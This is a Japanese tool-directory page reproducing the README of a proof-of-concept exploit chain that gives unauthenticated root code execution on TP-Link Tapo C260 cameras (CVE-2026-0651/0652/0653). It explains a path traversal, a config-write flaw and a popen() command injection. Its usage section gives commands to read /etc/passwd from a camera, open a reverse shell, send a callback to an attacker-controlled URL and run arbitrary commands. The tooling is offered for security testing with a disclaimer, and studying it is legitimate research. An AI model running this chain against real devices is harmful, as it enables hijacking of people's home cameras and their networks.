Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
tapo-c260-rce — TP-Link Tapo C260カメラ向けPoCエクスプロイトチェーン — CVE-2026-0651/0652/0653。@spaceraccoonによる研究。 | Kitploit
ツール/GitHubGitHub/l0lsec/tapo-c260-rce
組み込みシステムセキュリティIoTセキュリティ脆弱性分析エクスプロイトウェブアプリケーション悪用ハードウェアハッキングペネトレーションテストコマンド&コントロールハードウェアとIoTセキュリティファームウェア解析
GitHubl0lsec/tapo-c260-rce

tapo-c260-rce

125ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

TP-Link Tapo C260カメラ向けPoCエクスプロイトチェーン — CVE-2026-0651/0652/0653。@spaceraccoonによる研究。

リポジトリを見る

Tapo C260 RCE チェーン (CVE-2026-0651 / CVE-2026-0652 / CVE-2026-0653)

TP-Link Tapo C260 IPカメラ向けの概念実証エクスプロイトチェーン。3つの脆弱性を連鎖させて未認証からroot権限でのRCEを達成します。脆弱性はEugene Lim (Spaceraccoon)氏によって発見されました。

クレジット

すべての脆弱性の調査と発見はEugene Lim (@spaceraccoon)氏によるものです。

このリポジトリは、彼の公開されたライトアップに基づくPoC実装です。これが役に立ったなら、彼の著書を購入してください: From Day Zero to Zero Day: A Hands-On Guide to Vulnerability Research (No Starch Press)。

脆弱性チェーン

CVEタイプ影響
CVE-2026-0651パストラバーサル / ローカルファイル開示HTTP GETハンドラ内の/%2e%2e%2fを介して任意のファイルを読み取り可能
CVE-2026-0652任意の設定書き込みゲストレベルのユーザーがクラウドAPIのJSONキー操作を介して任意の設定パスに書き込み可能
CVE-2026-0653コマンドインジェクション / 権限昇格set_region_code_handleがサニタイズされていないdev_name設定値をpopen()に渡す

キルチェーン

root@kitploit:~
LFD (デバイス設定の読み取り) --> 設定書き込み (dev_nameの汚染) --> リージョンコードハンドラのトリガー --> popen() --> シェル

要件

  • Python 3.8+
  • カメラへのネットワークアクセス (LFD用) または 有効なTP-Linkクラウド認証トークン (RCE用)
  • ゲストレベルの認証情報でフルチェーンが可能

インストール

root@kitploit:~
git clone https://github.com/<you>/tapo-c260-rce.git
cd tapo-c260-rce
pip install -r requirements.txt

使用方法

ローカルファイル開示 (CVE-2026-0651)

ローカルネットワーク上のカメラから任意のファイルを読み取ります:

root@kitploit:~
python lfd.py --host 192.168.1.100 --token <stok_token> --file /etc/passwd

フルRCEチェーン (CVE-2026-0651 + CVE-2026-0652 + CVE-2026-0653)

root@kitploit:~
# リバースシェル
python exploit.py \
  --cloud-host aps1-app-server.iot.i.tplinkcloud.com \
  --device-id <DEVICE_ID> \
  --cloud-token <CLOUD_AUTH_TOKEN> \
  --lhost <YOUR_IP> \
  --lport 4444

# コールバックのみ (curl ping)
python exploit.py \
  --cloud-host aps1-app-server.iot.i.tplinkcloud.com \
  --device-id <DEVICE_ID> \
  --cloud-token <CLOUD_AUTH_TOKEN> \
  --callback http://your-server.com/pwned

# カスタムコマンド
python exploit.py \
  --cloud-host aps1-app-server.iot.i.tplinkcloud.com \
  --device-id <DEVICE_ID> \
  --cloud-token <CLOUD_AUTH_TOKEN> \
  --cmd "id > /tmp/pwned"

動作原理

  1. 汚染 — 操作されたJSONキーを含むsetLedStatusリクエストを送信し、デバイス上のtp_manage/info/dev_name設定パスにシェルメタキャラクタペイロードを書き込みます。

  2. トリガー — set_region_codeリクエストを送信します。ハンドラは設定からdev_nameを読み取り、サニタイズなしでpopen()呼び出しに挿入し、注入されたコマンドを実行します。

  3. シェル — 攻撃者はコールバックまたはリバースシェルを受信します。

影響を受けるファームウェア

  • TP-Link Tapo C260 (パッチ適用前のファームウェア)
  • 同じ/bin/mainオムニバスバイナリを共有する他のTapoモデル

免責事項

このツールは認可されたセキュリティテストおよび教育目的のみで提供されます。コンピュータシステムへの不正アクセスは違法です。著者は誤用について責任を負いません。所有していないデバイスに対してテストを行う前に、必ず明示的な許可を得てください。

参考情報

  • 元のライトアップ — Spaceraccoon
  • KennednのTapoプロトコル研究
  • TP-Linkセキュリティアドバイザリ
ツールをダウンロード